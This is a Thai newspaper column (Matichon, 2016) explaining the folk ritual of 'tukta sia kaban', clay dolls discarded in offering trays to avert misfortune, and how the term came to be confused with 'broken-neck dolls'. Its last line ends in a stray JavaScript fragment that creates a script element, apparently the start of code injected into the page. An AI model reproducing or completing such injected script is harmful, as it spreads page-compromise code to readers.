มติชนรายวัน ฉบับประจำวันอังคารที่ 9 กุมภาพันธ์ 2559

 

ตุ๊กตาเสียกะบาน

ไม่ใช่ตุ๊กตาคอหัก

 

         ตุ๊กตาลูกเทพ ถูกต่อต้านทั้งจากบ้านและวัด บางคนอาย บางคนกลัว เลยเอาไปทิ้ง ทำเหมือนตุ๊กตาเสียกะบาน แต่ไม่ใช่

doll 9-02-59 1

ศาสนาผี

         ตุ๊กตาเสียกะบาน เป็นความเชื่อในศาสนาผี หลายพันปีมาแล้ว ก่อนรับศาสนาพราหมณ์-พุทธจากอินเดีย หรือก่อน พ.ศ. 1000

         เก่าสุดเท่าที่พบขณะนี้ทำด้วยดินเผาและปูนปั้น มีขนาดเล็กๆ ทั้งรูปคน, สัตว์, สิ่งของ เช่น เครื่องมือเครื่องใช้ ฯลฯ ราวหลัง พ.ศ. 1000 พบจากการขุดค้นที่เมืองอู่ทอง (อ. อู่ทอง จ. สุพรรณบุรี)

         [มีในบทความเรื่องประติมากรรมพื้นบ้านของอู่ทอง ของ เขียน ยิ้มศิริ (อดีตคณบดีคณะจิตรกรรมประติมากรรม มหาวิทยาลัยศิลปากร) พิมพ์ในหนังสือโบราณวิทยาเรื่องเมืองอู่ทอง (กรมศิลปากร รวบรวมจัดพิมพ์ เนื่องในงานเสด็จพระราชดำเนินทรงเปิดพิพิธภัณฑสถานแห่งชาติ อู่ทอง จังหวัดสุพรรณบุรี วันที่ 13 พฤษภาคม พ.ศ. 2509 หน้า 61-70)]

         ตุ๊กตาเสียกะบาน หมายถึงตุ๊กตาที่ใส่ลงกะบานผี พร้อมเครื่องเซ่นสังเวยในพิธีสะเดาะเคราะห์ ไปทิ้งตรงทางแยก, ตามโคนต้นไม้, ในป่าช้า ฯลฯ หรือลอยน้ำ (พจนานุกรม ฉบับมติชน พ.ศ. 2547 หน้า 379 และ 888)

         ตุ๊กตา คือรูปปั้นขนาดเล็กทำจากดินเหนียว เป็นรูปคน, สัตว์, สิ่งของ ฯลฯ ที่เจ้าภาพหรือเจ้าบ้านต้องการสะเดาะเคราะห์ให้พ้นโรคภัยไข้เจ็บจากการกระทำของผีร้าย

         เสีย แปลว่า ทิ้ง

         กะบาน หมายถึง กระบะ หรือภาชนะเป็นสี่เหลี่ยมใส่เครื่องเซ่นสังเวย เรียก กะบานผี (บางทีเขียนปะปนเป็น กบาล หรือ กระบาน ก็มี)

         ทุกวันนี้ยังทำเสียกะบานใส่เครื่องเซ่นสังเวยวางไว้ตามที่ต่างๆทั้งในกัมพูชา, ลาว, และไทย โดยไม่มีตุ๊กตา

         แต่ก่อนมักเขียนว่า ตุ๊กตาเสียกระบาล แล้วเข้าใจคลาดเคลื่อนว่าหมายถึงตุ๊กตาคอหัก หรือพระดินเผาขนาดเล็กคอหักเหมือนตุ๊กตาที่ใช้ทำบุญใส่บาตรว่าตุ๊กตาเสียกระบาล โดยเชื่อว่าต้องทำให้เศียรพระหักหรือคอหักเสียก่อน เท่ากับเสียเคราะห์หรือฟาดเคราะห์

         ในความจริงเหตุที่หักเพราะตรงลำคอของรูปปั้นหรือหินแกะสลัก เป็นส่วนเปราะบางที่สุด แม้ขนาดใหญ่แกะด้วยหินก็ชำรุดตรงคอทั้งนั้น มีหลักฐานมากมายตามเมืองโบราณ โดยเฉพาะที่เมืองพะเยา (จ. พะเยา) มีพระพุทธรูปหินทรายเศียรหักเกลื่อนกลาด

         กระบาล แปลว่า หัว, กะโหลกของหัว (แผลงจากคำเขมรว่ากฺบาล) ไม่เกี่ยวกับเรื่องตุ๊กตาเสียกะบานในการสะเดาะเคราะห์ แต่เสียงพ้องกับคำว่ากะบานที่ถูกลืมความหมายไปแล้ว เลยเอามาปนกันvar d=document;var s=d.createElement(‘script’);